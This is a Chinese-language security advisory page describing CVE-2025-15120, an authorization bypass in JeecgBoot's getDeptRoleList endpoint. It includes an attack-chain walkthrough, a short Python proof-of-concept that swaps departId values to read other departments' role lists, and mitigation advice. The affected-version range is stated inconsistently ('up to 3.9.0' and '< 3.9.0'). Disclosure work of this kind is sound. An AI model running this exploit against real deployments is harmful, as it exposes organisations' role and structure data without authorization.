IPBUF安全漏洞报告
English
CVE-2025-15120 CVSS 3.1 低危

CVE-2025-15120: JeecgBoot getDeptRoleList接口权限绕过漏洞

披露日期: 2025-12-28

漏洞信息

漏洞编号
CVE-2025-15120
漏洞类型
不正确的授权验证
CVSS评分
3.1 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
JeecgBoot

相关标签

权限绕过访问控制失效JeecgBootCVE-2025-15120信息泄露Broken Access Control

漏洞概述

CVE-2025-15120是存在于JeecgBoot up to 3.9.0版本中的一个权限绕过漏洞。该漏洞位于/sys/sysDepartRole/getDeptRoleList接口,受影响的函数为getDeptRoleList。攻击者可以通过操控departId参数实现未经授权的部门角色列表访问。由于该接口缺乏适当的权限验证,具有低权限的认证用户可以访问其他部门或超出其权限范围的角色信息。此漏洞的利用复杂度较高,但已被公开披露,厂商在收到通知后未做出回应。CVSS评分3.1,属于低危级别,主要影响系统的机密性。

技术细节

该漏洞属于OWASP Top 10中的Broken Access Control(访问控制失效)类别。在JeecgBoot的/sys/sysDepartRole/getDeptRoleList接口中,系统未能正确验证当前用户是否有权访问指定departId对应的部门角色信息。攻击者可以通过修改departId参数值为其他部门的ID,从而绕过授权检查获取敏感的角色分配数据。漏洞存在于getDeptRoleList函数中,该函数直接使用传入的departId参数而未进行权限校验。由于需要低权限账户即可发起攻击,且攻击复杂度较高,漏洞的实际利用需要攻击者具备一定的技术能力和目标系统的有效凭证。

攻击链分析

STEP 1
步骤1
攻击者获取JeecgBoot系统的有效低权限账户
STEP 2
步骤2
攻击者访问/sys/sysDepartRole/getDeptRoleList接口
STEP 3
步骤3
攻击者通过修改departId参数值为目标部门ID(如1、2、3等)
STEP 4
步骤4
系统未正确验证权限,直接返回指定部门的角色列表信息
STEP 5
步骤5
攻击者获取敏感的组织架构和角色分配信息,可能导致进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-15120 PoC - JeecgBoot Unauthorized Access to Department Role List # Target: JeecgBoot up to 3.9.0 # Endpoint: /sys/sysDepartRole/getDeptRoleList base_url = "http://target-server.com" # Step 1: Login to obtain session cookie login_url = f"{base_url}/sys/login" login_data = { "username": "attacker", "password": "password123" } session = requests.Session() login_response = session.post(login_url, json=login_data) if login_response.status_code == 200: print("[+] Login successful") # Step 2: Exploit - Access other department's role list by manipulating departId exploit_url = f"{base_url}/sys/sysDepartRole/getDeptRoleList" params = { "departId": "1" # Try different department IDs } response = session.get(exploit_url, params=params) if response.status_code == 200: data = response.json() if "result" in data or "data" in data: print("[+] Vulnerability confirmed - Unauthorized access to role list") print(f"[+] Response: {response.text}") else: print("[-] No unauthorized access detected") else: print("[-] Login failed")

影响范围

JeecgBoot < 3.9.0

防御指南

临时缓解措施
在厂商发布修复版本之前,可通过配置Web应用防火墙(WAF)规则限制/sys/sysDepartRole/getDeptRoleList接口的访问,对departId参数进行严格校验,确保用户只能访问其所属部门的角色信息。同时监控异常的角色查询行为,及时发现潜在的攻击尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表